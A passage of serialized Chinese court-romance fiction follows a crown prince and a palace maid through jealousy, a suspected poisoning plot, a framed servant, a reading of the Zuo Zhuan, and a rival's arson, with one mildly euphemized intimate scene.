夕照也笑，脸上全是骄傲，过会又忍不住问萍萍：“你记不记得那日司薄念的我的原名？” 萍萍面露尴尬，这个不记得。 夕照并不恼，笑着告诉她：“司薄念的是金苔，但其实也不是我真名，我家娘子姓金，在家里他们都喊我苔花儿。” 萍萍想了想，凑近夕照耳边告诉她：“我叫萍萍。” 两人还要再说些蛐蛐话，外面司设来下命令，说是太子回来要歇息，要她俩去铺设。 萍萍和夕照进寝殿依礼参见了太子殿下，上首那人缓道平身。 夕照不敢抬头，萍萍却抬起来，发现柳湛也正看自己，相视一笑。 殿内本来就已屏退了旁的宫人，萍萍和夕照才将理了帐子，正铺被褥，柳湛就同夕照下令：“你先退下吧。” 夕照不知原委，担心看向萍萍，萍萍冲她摆摆手。等那夕照离开，殿门关闭，她还埋首躬身，在理褥单，刚一铺整齐柳湛就坐上床沿。 她再去整理锦被，柳湛盈盈注视，竟有种才将动心的砰砰跳，难怪人说小别胜新婚。待萍萍摆玉枕时，他已目光灼灼，将她胳膊一捉再用力往怀中一拉，直接带倒在床。上。 柳湛翻身在上，单手撑着，目光流连她的眉眼，鼻息拂在她脸上：“别铺了，反正一会要乱的。” 他俯身吻她脖颈，捉着她胳膊的那只手往下，欲与她十指紧扣，却旋即摸出不对劲，坐起身抓起萍萍左手，挑帐在灯下端详，长眉紧蹙，凤目深沉。 是谁伤了她？ 萍萍不愿官人担心，急忙抽手，语气刻意轻松：“没事啦我今天上了药快好了。” 是，她上了药。 柳湛幽幽地想，她手上现在依然能嗅出几丝清凉香味，是因为涂抹的药膏中有一味镇痛樟脑。 宫里的太医不爱在疮药里加樟脑，这药她从何处得来？ 柳湛面色温和：“这药的确不错，不抹这药好不了这么快。” “是吧，多亏蒋兄。” 第67章 第六十七章 祝大家新年快乐！ 柳湛挑眉：“希颜？” 萍萍点头。 “他给你的药？” “是啊。”萍萍心里没鬼， 直言不讳。 柳湛脸上的笑有一瞬没挂住，这些天自己为了应付官家，忍着不与她见面， 她却同蒋望回私相授受？ “经略相公回京述职， 千载难逢的机会， 我就去他家见了一面。” 柳湛闻言身往前倾，差点就要扼住她的脖颈，手绕到背后握拳压下， 骨节凸起。他方才上。床前就已宽衣， 一番厮磨，里衣领口垂垮， 露一道竖向沟壑，蓬勃高涨的不止胸肌，还有他喷薄欲出的怒意。 胸膛微微起伏。 他的女人，要去别人家里拜见高堂？ 他的女人，需要别的男人照顾？ 那句“多亏蒋兄”尤其刺耳，她是他的女人，凭什么感激别的男人？ 而不是他…… 这样一想， 熊熊怒火中又夹杂几分酸涩。 转瞬间已默将蒋望回和那伤害萍萍之人千刀万剐数百回。 萍萍却只瞥见柳湛大敞的领口， 已近寒露， 她帮他重新拢好、系紧：“别着凉了。” 她还想他多披件袍子， 伸手去拿时不慎擦到手掌，嘶了一声，虽极低轻， 柳湛却眼一紧，起身托住她左手，轻道：“不用添衣， 没那么冷。” 萍萍点点头，二人重坐回床沿。 他方才端详过她的掌，有揪心，有心疼，现下瞧见她蹙眉喊痛的样子，再凝视，这心疼比方才翻了一倍。 算了，她已经受伤了。 柳湛想着，另一只藏在身后的手至此刻才松拳张开，绕到前来。 “这药擦手上很凉吧？”他垂眸问。 “是啊，凉得发抖。我手上擦完后不小心摸到脸，然后脸也一直发凉。” “便是这药的弊端。我给你换种抹，不会再觉凉，药效也比这药更好。”柳湛不自觉咬重“更”字，接着便唤殿外送药。 他不假人手，先自己试过，才给萍萍上药。 用食指舀药膏时还好，一靠近她伤口，竟不自觉指颤，没想到会生出紧张。 他担心手重弄疼萍萍伤口，却也有几分蛰伏不甘 和阴鸷，强自压抑，托着萍萍的那只手，掌心不住摩挲她手背。 少顷，意识到自己拇指和食指常年握剑有层薄茧，将二指朝外张开，只二指不再贴萍萍。 萍萍歪头打量柳湛，他现在给她上药的样子和记忆里极其相似。 她的官人是真的回来了。 柳湛余光窥见，却以为是自己抹的不好，抬头问：“是不是我手重了？” 他极轻快地捧着她手吹了一下。 萍萍愣怔，这一吹像春风拂柳，惹得心湖泛起阵阵涟漪。 柳湛见她不答，追问：““疼不疼？” 萍萍唇分唇合：“不疼的，你手很轻。” 夜已深，两、三只飞蛾扑向殿内长明宫灯，帐上落的两人对坐的影子。因为仔细，他抹得很慢，萍萍怕太安静，就又说起白天的事；“其实我今天见经略相公是故作镇定，心里激动得不行，要不是去之前打过腹稿，我肯定要做结巴。” 柳湛垂首涂药，含笑倾听，但笑容很浅。 萍萍浑然未察，继续往下，告诉柳湛蒋玄如何邀请她一道吃饭，又讲数年前寒风挟雪挤进门缝，一群人围着时旺时暗的火堆，人人都有不同的经略相公故事，或抵御敌寇，或除暴安良，听一晚上不困，直到天亮。 柳湛抬首，凤眼促起：“你还在希颜家里吃饭了？” 萍萍瞪眼，推他一下：“我说那么多你就问这？” 柳湛笑意不达眼底。 金山寺也曾三人同食，萍萍不以为意：“经略相公、蒋兄，还有户部的秦侍郎，我们四个一起吃的。”她讲她在意的点，“我们吃的是经略相公亲手熬的水饭，他真的平易近人！” 柳湛心道茶点而已，算不得饭。三餐一宿共对的，还是只有他。 只能有他。 但也着实可恶。 又想到蒋家将门有将，精通各类金创跌打，平时总有人求而不得。 柳湛慢道：“那八两的砚台，你送值了。” 萍萍笑着感慨：“是啊，今日之前，我从未想过有一天能和经略相公同桌吃饭。” 柳湛在此时涂完，抬起头，注视着她讲了多久，就亮了多久的眸子，像天上不被云遮的星星。他起身放药罐，同时为她斟了杯水，递到面前：“看你口干舌燥。” 萍萍接过水喝。 柳湛不愉暗道：终于止住了聒噪。 萍萍喝完水攥着空杯子，继续讲各路朋友如何受经略相公恩惠，她是打算除了自己那碗粥，别的都分享给他听。 不与官人诉苦，免叫他担心难过。 柳湛却猛地封唇，手托着萍萍后脑勺，将她放倒榻上。 萍萍愣怔，柳湛与她对视，噙笑：“知道你伤了。” 所以今夜不会有激烈碰撞，不会伤她的手。他拉被盖住两人，接着二指一纵，萍萍挺身。柳湛在她耳畔吹起：“但是娘子说过我手很软的……” 接着便轻拢慢捻，他有一双擅长弹琴的手，最擅调音。 一点一点抹，一寸一寸探，很快就找准弦，拨弄出一声最高亢的音，鹰穿柳浪，婉转绵长。 他旋即又弹了十余下，指法越来越快，修长的指引得凤凰引吭，不住高歌轻吟。 他眯着眼，妒兽和怒兽在他的胸腔牢笼里争相嚎鸣，珠落玉盘间柳湛生出一份快。感，停了手，眯眼等待。 等余音彻底消散，他即刻一挑，果不其然，鹰穿柳浪之音再次唱响，一切和他预料的分毫不差。 只有他，也只他能掌控。 * 晌午，艳阳高照。 难得过了中秋，汴京还有这样的好天气。 谭典设节后当值第一日，只有半天差事，中午上完便回自己院里，刚推门进屋，就冲进来一堆宫人，为首的统领问身边典正：“你确定有？” 典正点头：“千真万确，我亲眼瞧见他俩搂搂抱抱，就在那小槐树下。” 统领道：“搜！” 四宫人缚住谭典设手脚，其余人等四散在屋内翻找，谭典设这才从发懵中惊醒：“你们作甚么？” “找到了！”有宫人从谭典设枕下搜出一条男子的红汗巾，谭典设反应过来被设计，裂眦嚼齿，正欲辩解，统领却抢先高声，压过谭典设气不成句的声音：“三令五申不得私会外男，你却明知故犯，偷猫盗狗，私相授受！” 旋即有宫人塞帕捂住谭典设口，本来按律她该挨大板子，但太子仁厚，即使本宫宫人犯错，也不忍苛责，只顺手找了谭典设房中戒尺，小惩四十余下，将她驱逐出宫。 萍萍晚些时候听到的，就是殿下仁慈宽厚，予人予德的赞誉。 “那谭典设真是不知廉耻！”同院的两位宫人向萍萍和夕照抱怨，“身为宫婢却和东宫禁卫私下来往，还暗地里收他的东西，导致现下禁卫那边人人自危，一直在搜查到底是谁呢！” 萍萍连第一层都想不到，何况第二层，只等两宫人走了，同夕照惋惜：“典设人其实挺好的。” 夕照点头：“是啊，手把手教我们那么多。” * 柳湛早晨上完朝后，去皇后的仁明宫请安。照规矩，每月十七日皇子皇女们只要在宫里的，都会齐聚这里。 柳湛到得早，仁明宫里只来了昭华公主并两位小侄子，以及本来就在皇后宫中抚养的八大王、九大王。 柳湛跨进殿中时，昭华刚帮孩子们系好香囊，又给自己系，皇后眉开眼笑走到柳湛身边：“娑罗奴，你来了，瞧瞧你皇姐这只小猪，绣得好不好？” 柳湛含笑扶住皇后的手，依命看去，昭华腰间佩戴的香囊上绣着一只憨态可掬的小猪，再瞅皇弟皇侄们，俱戴着布料绣工相似，绣有各自属相的香囊。 “母后绣的？”柳湛柔声轻问。 皇后颔首：“你皇姐难得进宫，我对她和这俩孙儿啊挂念得紧，就绣了几个香包托思。” 柳湛心道昭华属猪，她生下来时皇后尚未嫁给官家，亦非亲养，何谈母女情？ 柳湛同昭华诚恳道：“阿姐难得回一趟宫里，母后十分想念阿姐，阿湛亦然。” 昭华也说些牵挂他们，只是不方便进宫的话。皇后拍拍柳湛的手，道：“也有你的份，紫云——”她吩咐贴身宫婢，“去取殿下的香囊来。” 不一会宫女端来一只香囊，上面龙张五爪，从云飞腾。柳湛旋即系于腰间，感谢皇后，继而嚅唇，那句像在口里嚼过一遍才珍重出口：“慈母手中线，游子身上衣。” 母子对视，皇后眼睛微湿，朝天眨了眨眼：“算了算了，出去散散心，不然这泪要掉下来。” 柳湛躬身：“儿臣陪伴母后。” 母子俩便往明仁宫内花苑去，昭华并七、八大王都远远相随，皇后任由柳湛扶着手，叹道：“这香囊虽然是哀家针法，但裁剪缝制皆是牧君一手操办，辛苦那孩子了。” 范氏虽出自抚州，但族中多在京任职，王牧君家离禁宫不远，今日不见人，应该是回家了。 柳湛远眺花苑入口，有两位公主正快步赶来，他道：“母后，二姐姐和三姐姐来了。” 公主们与皇后见了礼，也佩香囊。半晌皇后才重得私下相处机会，启唇欲再提，柳湛却张望：“怎么这个点了，阿七还没来？” “哼，早就来过啦——”皇后似笑似怒，“早上头一个冲进我宫里，冒失四处张望，收了香囊就走，口里还叨叨什么怎么没有，这一天天的，似魂梦游！” 柳湛宽慰皇后：“他年纪还小，以后行了冠礼会稳重些。” “十七还小啊？”皇后看向柳湛，“都要给他宫里安排侍寝了！” 柳湛注视边上新摆的万寿菊。 皇后直言：“你那里司膳既然空出来，安排给牧君如何？” 柳湛转回头与皇后对视：“儿臣不知先前的司膳还回不回来。” 皇后点头一笑：“就那么喜欢蒋娘子？” “算不上吧。”柳湛轻道，“只是孩儿和希颜好。” “蒋家那小子啊……”皇后眯眼似在回忆，“也算是看着长大的，他和你同岁吧？” “比儿臣要长一岁。” 皇后正打算说什么，柳湛抬首不紧不慢道：“说来希颜还未成家，央过儿臣好几回。母后这里人选颇多，不知道能不能也帮他挑一门？” 柳湛含笑，语气里竟了几分撒娇：“母后，帮帮忙吧，希颜心急如焚。” 皇后：“好吧好吧，我就帮着牵根红线，高祭酒家嫡女贤良淑德，以为如何？” “希颜定然欢喜。” 第68章 第六十八章 夜读（上） 皇后一笑：“那重阳宫宴安排他俩相看。” “劳母后 费心了。” 母子俩沉默着折返， 似乎话说尽了就无话可说。柳湛告辞回到东宫太子书房。 顺地毯一路走到“教以义方”的匾额下方，绕过长案坐定，才解下香囊， 松开抽绳检查内里， 果然和嗅辨的一样， 白芷、芜花、艾叶、苏叶，没有掺毒。 他紧绳重戴在腰间。 处理了半个时辰公务，蒋望回来照例禀报， 说至中途， 他阖唇顿了下，才续道：“那典设和属下禁卫之事， 殿下可曾知晓？” 柳湛仍批公务，头也不抬：“什么事？” 蒋望回话又卡了一下，不是都说这事殿下判得仁厚么？ “司寝司原先的谭典设与外男私通，人证赃物俱全，已逐出宫。” 柳湛仍未抬首：“这事孤知道，当时报来孤就说要予仁予德，既然已经要驱逐了， 就别把人打太惨， 小惩罚一下即可。” 蒋望回盯着柳湛：“皆说外男是属下殿中禁卫。属下无能， 排查一通， 没有查出来。” 柳湛批完一本，放桌上，换新一本展开：“那兴许不是东宫， 是别宫的，孤相信你治下有方，只要问心无愧， 不必自责。” 蒋望回良久沉默伫立。 像房中立柱，纹丝不动，也不离去。 柳湛搁笔抬头，叹了口气：“你是不是还在怨孤调音和出去？” 少倾，蒋望回垂首抱拳：“舍妹顽劣，殿下处置妥帖。” “今日娘娘和孤提了一嘴，想让范娘子来做司膳。”柳湛将桌上一封书信往蒋望回那边抛了抛，但仍落在桌沿，“拱辰亦想举荐他妹子入东宫。” 蒋望回没去拿信，仍做沉默恭顺的倾听者。 柳湛扶额：“孤思来想去，还是让姚娘子来当。” 蒋望回抬眼看向柳湛。 柳湛仍扶额头，浅淡笑意，似乎就是想等蒋望回和自己对视：“姚娘子不爱说话惹事，做事守规矩，就算遇上了萍萍也多半不会起冲突。”他渐渐敛笑，张目不眨眼，“毕竟孤的女人，”顿了顿，“还是得孤自己来疼。” 蒋望回与之对视，目不敢移，亦知不可暴露任何情绪，阖唇叩齿，背后攥拳的手掌心掐出指痕，才能勉力维持正常神色。 半晌，柳湛轻笑一声。 “好了，”他站起绕到桌前，“孤该去官家那里陪用晚膳，若无事，一起走一段路？” 蒋望回先瞟滴漏，而后才回：“眼下快到交班时辰，节后第一日，属下一般都要回殿内督察。” “那就不耽误你了，”柳湛体谅道，“速去吧。” 他自去官家的福宁殿，一进去，殿内跟皇后宫中一样，也摆了菊，黄白蕊的万龄菊，粉红桃花菊、木香、金铃、喜容……各色各样的品种，柳湛私心最爱的是一种白菊瑞云殿，高低错落，每一瓣都如画中卷云，但他也不曾在那一排瑞云殿上停留一眼，不暴露自己喜好。 柳湛跪下专心参拜。 官家允了平身，道：“这一天天来了去的，仪仗都不要了，午时听你母后说，你去她那也是独来独往，成何体统。” 柳湛拜道：“父皇教训的是，孩儿宫外私服许久，一时没改过来。” 官家摆摆手，这事揭过，又问：“腰间的香囊是你母后绣的？” “是。” “午时看小八小九也戴了一个。” 柳湛接话，说些赞扬皇后的颂词，接着陪用晚膳，官家庆丰五年时在百官面前表率，要节财宁俭，自此日常饮食，不超过四菜一汤。 眼下亦如是，与柳湛父子对桌，两荤两素，和一肉汤。 柳湛带笑拾箸，心里想的却是小时候以为父皇真节俭，无比崇拜，后来大了再一琢磨，逢年节宫宴都要多铺张有多铺张。 宫人给柳湛盛了碗肉汤，他看汤里有鹿角绿菜，汴京人称鹅掌菜，南方唤作昆布。 柳湛瞥向中央盘中，两素里已有一盘煮熟拌了香油和芝麻的鹅掌凉菜。官家亦睨一眼，吃完口中菜，放下银箸，才道：“朕最近喜欢吃这海里的素食。” 柳湛亦等口中饭菜咽完，才接话：“海带也好食。” 官家摇首：“唉，海带成组，不如这成纶的。”须臾，又道，“你也多吃点。” “多谢父皇关心。”柳湛吃菜喝汤，饭后的茶点是插着彩旗的蒸糕，官家厌恶酥油，宫中糕点多咸口，柳湛一咬，这糕里包的竟也是鹅掌菜。 他瞧官家那边，宫人额外端来一碟鲈鱼干，狸奴亦到饭点，官家弯腰喂它。 柳湛笑着将整块藻糕吃完。 * 东宫小院里，萍萍和夕照也正吃饭。 下霜后汴河的鲈鱼鲜起来，晚上后厨收拾了三尺以下的，盐渍成鲈鱼干，和着葱和干菜一锅烩了，一道菜就很下饭。 萍萍和夕照端碗坐台阶上吃，另倆同院宫人端进屋吃，路过打趣：“夕照，这个你也要加辣子啊？” “你这样什么菜都成一个味了。” 夕照却问她们要不要分辣子，说尝过辣子浇的鲈鱼就晓得有多香了。 俩宫人大笑离去，夕照有些失落，她今天也分了萍萍辣子，便问她：“你觉得加辣好吃还是不加好吃？” “都好吃，各有各的味。”萍萍给夕照看自己碗里，“你看啊，我一边加辣一边不加辣，辣鲈鱼和不辣鲈鱼，一下就有两个菜了。” 夕照冲她笑，也效仿起来。 后厨晚上给宫女们也发了蒸糕，松子肉馅的，萍萍尝下去第一口惊呼美味，但再吃几口就觉得腻。于是只尝了一个，剩下三个放在桌上，读起夕照送她的《左传》。 窗户被人从外拉开，钻进来一个黑影，带进一阵风，外头松影，屋里烛摇。 萍萍吓一跳，本能就要开揍，定睛瞧清是柳湛，呼一口气，手上的拳变成在他肩头轻轻一推：“你怎么不从正门走？” “孤来你这坐坐。” “搞得偷。情似的。” 两人同时出声。 柳湛抿唇看向萍萍，她一脸诚恳，是啊，他俩是夫妻，不用偷。情。 柳湛：…… 他环视屋内，打量萍萍居所，看是否舒适，有无怠慢，亦缓解尴尬。 萍萍却朝他再走半步：“晓得你有不得已，但是、但是……” 柳湛挑眼：但是什么？ 萍萍踮起脚，手遮着嘴要和他说悄悄话，柳湛旋即弓背迁就。萍萍的唇终于到他耳边，她开口，一股轻气抢在声音前面钻进他耳里。 他如今已不会像刚亲近那会红耳，但会心猿意马。 萍萍用最轻最细的声音告诉他：“今早我们典设因为和外男私会被逐出宫了，但是和她私会的男人还没查出来，你这样鬼鬼祟祟很容易被误抓的。” 柳湛：…… 片刻，柳湛转移话题：“晚上吃的鱼？” 萍萍捂嘴，闻着味了吗？ 须臾她交待：“吃的鲈鱼烩和蒸糕，对了！”她端起桌上的盘子，“还剩三块，你吃吗？松子肉馅的。” 柳湛摆手：“这个最多吃一块，再多就腻。” “我不爱吃，一块就腻了。” 这回两人也是同时说完，声音重叠，但都能听清，相视一笑。 柳湛抬手，抚了抚她方才酒窝现出的位置，接着牵她手在桌边坐下：“江宁人用松子梅肉包纸皮烧麦，里面的馅就不腻。” 萍萍捏了下他的手：“我们那会在江宁早上是不是吃过？” 柳湛点头。 “还是梅子解腻，可惜现在没梅子了，不然能渍几罐。” “明年再做也不迟。”柳湛说着拿起桌上的书，《左传》，又名左氏春秋，“怎么读起这个？” “夕照送我的，不过也算是我自己挑的。” 柳湛扭头看她：“夕照？” “就是昨晚和我一起铺床的那个小丫头，”她强调，像是什么天大不得了的事，“她才十二岁！” 一般宫婢皆是十二、三岁入宫，柳湛以为寻常，翻去她夹了书签那页：“读到哪一篇了？” 却原来是《成公二年》。 郑国公主夏姬，守寡后与陈国国君，及二臣子亲密，情人们的言行激怒了夏姬儿子，将国君射杀，取而代之。 楚庄王因此讨陈，车裂了夏姬儿子，抓住夏姬。 《成公二年》的故事便从此处开始，庄王亦对夏姬动心，欲立为妃，大夫巫臣却力劝大王不要贪图美色。 将军子反也想娶夏姬，巫臣又阻，说夏姬的兄长、夫君、情人，儿子全部死绝，陈国亦亡，说明她是不祥之人，靠近她的男人都会被诅咒，天下美女众多，又何必执着夏姬？ 楚王和子反因此都打消念头。 最后满朝文武，只有一个老鳏夫敢娶，哪知成亲没几天，也战死沙场。老鳏夫儿子又要烝夏姬，夏姬举步维艰，巫臣却突然许诺：“归！吾聘汝。” 回家吧，我娶你。 萍萍挨着柳湛坐，脑袋几贴他肩头。她指那句“吾聘汝”道：“一开始读第一遍时，我挺感动这句情话。” 萍萍又坐正些：“但是后来又读好几遍，越读越不对劲，夏姬的儿子到底是愤怒，还是本来就有当王的野心？” “他做陈王，陈国人自己都没说什么，隔壁的庄王却要来讨伐，是匡扶正义还是开疆拓土？” “还有这个巫臣，为什么早不说，晚不说，偏偏要在庄王驾崩，他和子反被托孤后对夏姬说？我看就是巫臣和子反两派争权，他背投晋，扶持吴，早做好打算，”萍萍翻书给柳湛看，“你看呐，后面巫臣让夏姬假托迎丧之名，回郑国娘家，使齐的巫臣亦取道郑国，这明明都是合计好的呀！夏姬就是一枚巫臣推波助澜的棋子。” 她叹息：“就算他对夏姬也许有几分真情，那也必定轻于权力。” 柳湛眨了眨眼，沉默不语。 第69章 第六十九章 夜读（下） 萍萍是旁观时清， 当局时迷，并没有半分指桑骂槐心思。柳湛却觉意有所指，挑起眼皮深看她一眼， 心有动摇：她既然如此清醒， 那待他到底有几分真心？她是真全心全意包容他吗？ “唉， ”萍萍叹气，“后面还没读，也不知那巫臣带着夏姬投晋后怎么样了。” 柳湛微笑， 牵着她的手一起翻到《成公七年》， 原只是告知后续，萍萍却瞥见那句“子反杀巫臣之族”， 巫臣带着夏姬私奔，子反就把巫臣留在楚国的全族都杀了。 她惊呼出声，巫臣那么大年纪肯定有妻有儿，妻儿何其无辜？ “这史书里的人怎么个个杀人如切菜，动不动灭全族，儿要弑父，母要杀子， 真是越读毛骨悚然。” 柳湛没想到她会这样说， 心念一动。 他今夜访香闺， 思念萍萍仅是其次。 自从江南回来， 他寝殿里熏的香一直是甜甜腻腻的豆蔻、柑橘和甘草，舍不得像以前那样时常变化。 然后就被人钻了空子。 甘草不能和芜花或者昆布合用，否则会产生毒性。 香囊里有芜花， 晚膳吃的鹅掌菜就是昆布。 让他很难不疑心皇后和官家。 不得不戴，不能不吃，所以他只能来她这里坐会， 等殿内甘草香气散尽。 萍萍讲“儿弑父，母杀子”正撞他心坎上，不由阵阵泛酸，却自觉和萍萍还没到交心讲某段天家秘辛的程度。 于是，柳湛只敛笑劝诫：“这话眼下隔墙无耳，允你讲一回，以后绝不可再说。” 萍萍点头：“你放心，我晓得的，这是夫妻关起门来说话，怎么可能到外头去讲。” 柳湛听到“夫妻”二字，心念又一动，静静注视萍萍。 片刻，他还是决定讲之前打好的腹稿，口是心非：“其实我书房里的匾额‘教以义方’也出自《左传》，‘爱子，教之以义方’，我立学那年官家亲题。”他捏一把萍萍的脸，“所以说啊，书里也有父慈子孝，舐犊之爱，不是人人都阴暗薄情。” “是啊，”萍萍感叹，“朋友反目，兄弟成仇，想一想也还能勉强理解……”她看向柳湛，犹豫了下，没再提父子，“但母亲杀儿子实在理解不了，那可是十月怀胎，亲生骨肉。我前面读栾怀子乐善好施，士多归之，他娘却因为担心怀子坏她好事，就要杀子，读得我一阵恍惚，这是亲娘吗？” 虎毒尚不食子，难道人比禽兽还不如？ 柳湛拍拍萍萍手背，笑道：“也许他真就不是亲生的。” 萍萍坐定不再言语，眼神几分茫然。 柳湛伸手在她眼前挥了挥，笑问：“怎么，又恍惚了？” 萍萍倾身，头往柳湛肩上靠，他很自然揽住。 “我想我娘了。”她小声说。 柳湛正想问问她娘什么样的？想知道她小时候的事，那可比《左传》有意思。萍萍却不无惆怅道：“说起来我到现在都没想起我娘是谁，什么样貌？一点回忆都没有，却又觉着她应该早不在这世上了。” 柳湛听到这将萍萍手握住，她五指缓缓插过他指缝作为回应。 “但她以前肯定很宠我，对我特别好！”因为她每回只要一想到娘，心里就顿时满满都是踏实笃定，暖烘烘的。 萍萍注视面前桌上，宫中几无油灯，连她这样的小小宫婢都能分到蜡烛，那白烛一点点融化，燃烧自己，照亮温暖她，就像娘亲。 执手无言，柳湛思忖的却是另一件事：萍萍行事颇市井气，是个卖洗面汤的，但有时候说出来的话，读的书，却又不像那户籍上的小门小户能教出来。 他怕想多了又伤到自己，只将她搂紧，良久，轻道：“我待会不能留在这里过夜，要回去。” “我知道，现在下寒了，我这有披风要不要？” “不用。”他看向怀中温柔又体贴的佳人，这会又觉得她还是那个真心真意的萍萍，他不该动摇。 柳湛吻了下萍萍面颊，继而脑袋贴着脑袋摩挲，“我不急着走，让我再抱会。” 虽然不能全交心，但他回不去寝殿时，第一个想到的就是来她这里。思及此柳湛情动，忍不住再次亲向萍萍脸颊，左右各落一吻，接着吻额头，像只蜻蜓在湖面不住点水，然后细细密密啄她唇沿。这些日子他早将她的喜好研磨个透，亲亲抱抱讨好一番，最后唇对唇贴一下，分开，柔声道：“好了，下回再来看你。” 说是会再来，但之后数回，皆是萍萍铺床时直接被留下来侍寝，柳湛未再踏足萍萍闺房。 到了九月，宫里要准备重阳宴，大伙都忙起来，萍萍每次去寝殿铺床时柳湛都还未归，等早上她再去铺时，他又早离开。 一连近十日不曾打照面，萍萍难免牵挂。 但也有开心的事，因为要开宴，宫里采买了许多猪、羊、牛、鹅，连她们这些东宫下人油水都丰厚起来。 宫人间早早传开，说今日午膳既有山煮羊、红烧肉，还有牛肉馅饼，其中前两样被宫里的老人们描绘成饕餮美味，说它俩都比外头多添一样配料，山煮羊要加杏仁，红烧肉和梅干菜一起炖，吃一回就忘不掉。 勾得萍萍犯馋虫，夕照更是吞咽一口，到了饭点都早早去排队。 隔着很远，萍萍就望见姚书云，一眼就认出她是和柳湛合奏的那位娘子——她还是所有人里最瘦的，细腰不足一握，仿佛随时会被灶风吹倒。 萍萍已经学会通过服饰辨认等级，虽然姚娘子袍服上是司膳才能用的如意 纹，但她仍问前面宫人：“那站在灶旁的女官是谁呀？” 前面宫人也没见过，还是前面的前面回头：“嘘，小声点，那是新上任的姚司膳。” 萍萍心里哽了一下，说不别扭那是假话。 轮到萍萍打饭，她忍不住偷偷打量姚书云，发现姚书云也在瞥自己，视线对上，被逮个正着。 萍萍尴尬笑笑，姚书云没有回应。 “银娘子啊，今日还给你多打点？”掌勺的宫人自从上回和萍萍聊过，晓得她也做过厨娘后，就每回都额外多打一勺。 “谢谢姐姐。”萍萍甜甜一笑，露两酒窝。 她和夕照还是端回院子，坐台阶上吃，夕照说山煮羊果然绝味，但红烧肉拌了辣子还是太甜，没吹得那般神。 萍萍听得直摇头，正要回她，两人齐齐发现前面不知何时立着姚书云，弯腰盯着她俩。 萍萍询问时夕照也在，亦晓得身份，立马站起：“见过司膳。” 萍萍也站起行礼，姚书云盯着她的脸：“我只认得你，所以来问问，红烧肉和山煮羊真那么好吃吗？” “你没吃吗？”夕照大着胆子反问。 “没有。” 萍萍记得寿春那会，姚娘子说话走路比龟还慢，这会却都跟正常人一样，她恍然大悟，姚娘子那会是故意拖延，不想去见柳湛！ 合奏亦非她所愿！ 萍萍承认自己是个凡夫俗子，之前控制不住对姚娘子膈应嫉妒。 而此时晓得了真相，又不能免俗地庆幸，对姚娘子敞开心怀：“好吃啊，你要不要尝尝？” 今日的饭菜是两盘一碗，木盘盛着，她指没动筷子的半盘：“这边我没碰，要吃的话等我洗双新筷子。” 姚书云摇头：“谢谢，我吃不下。” “怎么了？是胃口不好吗？”萍萍心想难怪姚娘子这么瘦。 “不是。”姚书云说得很寻常，“我胃饿小了，每餐只能吃一点点。”而这羊肉是棒骨，红烧肉也大块。 夕照闻言叹了口气：“我家娘子也是，打自小就不敢多吃。” 萍萍愣了片刻，道：“你等等。” 她很快跑回来，一手端一个小碟，各盛一块专门切成指甲盖大小的羊肉和红烧肉，还贴给碟里都舀了汤汁，带捎新筷。 “尝尝。” 姚书云上下打量萍萍一眼，不接，反问：“你住哪间房？” 萍萍一指。 姚书云道：“端进房里来。” 萍萍端进来后姚书云立刻接从她手中夺过瓷碟，直端到床上，萍萍和夕照皆看愣了，面面相觑。 姚书云却叮嘱萍萍：“这是你房中，偷吃的是你。” “是是是。” 姚书云拉被子盖住自己身子，然后躲在被子里尝，羊肉和红烧肉她都在嘴里含了许久，汁吸得没味了，才舍得咽。 吃完后，她各取一锭银，分别递到萍萍和夕照手上：“劳烦明日也帮我留一份。” “不用银子我会帮你留。”萍萍一口答应。 夕照也不要赏钱，但不解：“你自己不能多盛点吃吗？” 姚书云缓缓道：“我每日吃多少，皆有人回报阿兄。” * 东京城，谭郎中医馆。 裴改之叩响后门。 谭郎中一开门，裴改之就笑问：“这快一个月了，不知谭典设可有喜讯？” 谭郎中低头瞅地：“唉，进来聊吧。” 到房内将谭典设被逐的事一说：“情况便是这么个情况，大官人的计策胎死腹中。”谭郎中将一百两银的定金退还裴改之：“这银子舍妹没有运气拿。” 裴改之没有及时接，只笑：“能不能再想想办法？” 如果不能，他就只剩下唯一一个能拥有萍萍的法子了。 “唉，我妹妹只是使计打了个药水板子，就被设计驱除。我说大官人你也放过那个宫人吧，她身后是太子，惹不起的。”谭郎中好言相劝，却对上裴改之幽黑眸子，其中的阴鸷和执拗令谭郎中情不自禁打了个寒颤。 谭郎中避开裴改之目光，不住眨眼。 “我知道了，”裴改之温和笑道，从定金里取十两往谭郎中那边推：“还是辛苦您了。” “无功不受禄，不受禄。”谭郎中不敢接，裴改之也没再坚持，客套几句拜别。 谭郎中送至门口。待门一关上，裴改之背过身去，嘴角还残留着伪装的笑意，眼神却陡然凌厉——谭郎中生了怯意和畏惧，可能投诚。 是日夜晚，谭郎中医馆走水，正刮北风，家家夜里又睡得熟，烧了好久才有人发现，待扑灭时，连着四、五家医馆都只剩下黑灰柱子还立着，整条街浓烟呛鼻。 最可怜的还是谭郎中一家子，全烧黑了，没一个活。 翌日，仍是深夜。 翰林学士范合敬府上嫡女范牧君，梳洗完毕正要在入睡，忽被人从后点住定穴和哑穴。 她回不了头，不知道自己的贴身女使哪去了。 近身的是名男子，身形高大却消瘦，夜行衣戴面巾，隐在夜里愈发看不清，范牧君只能瞧见他露出的两只手格外白皙。 男子冷冷开口：“再进宫给娘娘带句话，就问她记不记得庆丰十三年的扬州。” “倘若记得，别忘了还有一个承诺一直没有兑现。” 男子说完，手刀打晕范牧君，潜出闺房，借夜色掩护，视范家护院为无物，扬长而去。 第70章 第七十章 避子汤 范牧君许久才醒来， 发现女使们仍在外间昏睡。她没弄醒她们，自去床上睡了一觉，等早晨范学士下朝， 才打着请安的由头去书房。 父女密话， 范牧君将昨夜遭遇一五一十告诉爹爹。范学士听完， 皱眉按住范牧君双臂：“那歹人可有伤着你？府医看过没有？” 牧君摇头：“刚醒那会脖子有点疼，现在已经好了，未同爹爹商议， 不敢擅自请府医。” 范学士闻言眼一沉， 肯定道：“你做得对。这个时候知道的人越少越安全，千万不要和你小姑姑说， 也同我说了。重阳进宫，就说晕后话一直烂在肚里，见着了姑母才敢吐。” 少顷，又道：“委屈你了，府医就不看了，府中警卫为父会暗中加强。” 范牧君道：“那歹人机警得很，必不会同一个地方来两次， 爹爹暗中加派人守， 万一被姑母知晓， 得不偿失。” 范学士点头， 的确什么都不做才更像不知道，他叮嘱：“你只传那歹人的话，不要多说一个字， 千万不要追问。倘若你小姑姑为什么不好奇庆丰十三年发生什么，你就答你和她同姓同气，同荣同仇， 在你心里姑母做什么都是对的，甘愿听令。” “女儿明白。” 